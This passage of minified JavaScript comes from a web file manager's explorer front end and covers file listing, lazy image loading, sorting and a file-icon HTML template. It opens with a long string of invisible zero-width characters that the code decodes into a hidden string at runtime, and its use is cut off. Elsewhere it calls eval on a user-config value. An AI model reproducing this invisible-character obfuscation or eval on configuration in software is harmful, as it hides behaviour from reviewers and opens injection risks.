‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,t){var t="down"==t?-1:1;return function(i,a){var i=i[e],a=a[e];return ui.path.pathOperate.strSort(i,a)*t}},mainSetData=function(e){var t=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var i="";$(".systemBox").each(function(){i+=$(this).get(0).outerHTML}),t=i+t}t=htmlListAction(G.json_data,t,!1),"list_split"==G.user_config.list_type&&(t='<div class="split_box" data-path="'+pathHashEncode(G.this_path)+'"><div class="content">'+t+'<div class="content_more"></div> </div><div class="split_drag"></div></div>'),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(t),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var i=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),pageLoadMax>i||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(i/n)*o;return t.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",t=$(e).last(),i=$(".bodymain .fileContinerMore");if(0!=t.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;i.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),t=e.last(),i=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(i>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),f=p*d+i;f>a&&(f=a),f-i>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(i+1,f),$(".bodymain").scrollTop(n)},300)):loadMoreSet(i+1,f)}}},loadMoreSet=function(e,t){var i=makeHtml(G.json_data,e,t),a=$(i);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,t,i){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!i||i>=o.length-1)&&(i=o.length-1);for(var s=t;i>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,t){if("string"==$.type(e))var i=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var i=e;e=ui.fileLight.path(i)}if(1==i.length){var a=i.find(".children_more"),n=i.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;i.addClass("loading_children"),pathGet(e,function(e){i.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,i){if(""==t)return t='<div style="text-align:center;color:#aaa;">'+LNG.path_null+"</div>";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&i?t+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox" data-size="0">'+'<div class="filename" style="width: 424px;">'+'<span class="children_more"></span>'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"</span>"+"</div>"+"</div>":"list_split"==G.user_config.list_type&&(t+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox splitLoadMore" data-size="0">'+'<div class="filename">'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"(to list)</span>"+"</div>"+"</div>")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var i=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==i.length)return"function"==typeof t&&t(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof t&&t(),void 0;var n=i.parent().parent();pathSplitCreate(e,t,n)},pathSplitCreate=function(e,t,i){pathGet(e,function(a){if("not_exists"==a.path_read_write)return t(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),i)if(i.nextAll(".split_box").length>0){var o=i.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).insertAfter(i).data("jsonData",a);else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,i=ui.fileLight.path(e,"data-path-children");beforeListOpen[i]=!1;for(var a=[i];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("list_split"==G.user_config.list_type){var t=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,i){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(i).length?f5AfterReload(i,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,i){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderlist,i=e.filelist;return t="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?t.sort(sortBy("name",G.user_config.list_sort_order)):t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),i=i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=t,e.filelist=i,e},pathGet=function(e,t,i){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof i&&i(),!1;var a=jsonDataSort(e.data);"function"==typeof t&&t(a)},error:function(e,t,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,a),"function"==typeof i&&i()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var a=e[t][i];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath") +}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='<i class="font-icon icon-chevron-up"></i>',down='<i class="font-icon icon-chevron-down"></i>';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var t in G.self_share)if(core.pathClear(G.self_share[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list;for(var i in t)if(core.pathClear(i)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(t=core.icon("recycle")),$(".menuRecycleButton .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,i=t.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");t.can_upload=!0,(void 0!=a&&"writeable"!=a||i==G.KOD_GROUP_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_USER_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_GROUP_PATH&&"guest"==t.role&&1!=G.is_root||i==G.KOD_USER_FAV||i==G.KOD_USER_RECYCLE||i==G.KOD_GROUP_ROOT_ALL||i==G.KOD_GROUP_ROOT_SELF)&&(t.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];i==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(i)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),t.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var t=e.info,i=e.path_read_write,a=t.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip_this,.unzip_folder,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="disable";if(t.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(o),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled")):($(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(o),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=t.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==t.role){var s=e.group_space_use;if(s){var r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".group_space_use").removeClass("hidden").html(r)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var s=e.user_space,r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".user_space_info").html(r)}if("not_exists"==i&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),$(".role_label_box").html(""),a==G.KOD_GROUP_SHARE){var l="<span class='label label-grey-light' title-timeout='0' title='"+LNG.group_guest_desc+"'>"+LNG.group_guest+"<span>";$(".role_label_box").html(l),G.is_root&&$(".role_label_box").html("")}else if(a==G.KOD_GROUP_PATH&&t.group_role){var l="<span class='label label-"+t.group_role.style+"' title-timeout='0' title='"+LNG.group_role_lebel_desc+"'>"+t.group_role.name+"<span>";$(".role_label_box").html(l)}(a==G.KOD_GROUP_ROOT_ALL||a==G.KOD_GROUP_ROOT_SELF||a==G.KOD_USER_FAV||a==G.KOD_GROUP_SHARE)&&$(".path_tips").hide(),1==G.is_root&&t.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"<!-- 图标模式文件夹 -->\n{{if type=='icon_folder'}}\n<div data-path=\"{{list.path |window.pathHashEncode}}\"\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n {{if !list.is_writeable}} file_not_writeable{{/if}}\n {{if !list.is_readable}} file_not_readable{{/if}}\n{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n </div>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件夹 -->\n{{else if type=='list_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file\n{{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}} : {{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class=\"children_more\">\n {{if list.isParent&&list.is_readable}}<i class=\"font_icon children_more_cert\"></i>{{/if}}\n </span>\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{LNG.folder}}</div>\n <div class='filesize'></div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n{{if list.isParent&&list.is_readable}}\n<div data-path-children='{{list.path |window.pathHashEncode}}' class=\"children_list hidden\"></div>\n{{/if}}\n\n<!-- 分栏模式文件夹 -->\n{{else if type=='list_split_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n <span class=\"children_open\">\n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n <i class=\"font_icon children_more_cert\"></i>\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 图标模式文件 draggable=\"true\" ondragstart=\"return false;\"-->\n{{else if type=='icon_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}}data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.icon}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件 -->\n{{else if type=='list_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n <span class=\"children_more\"></span>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n {{if 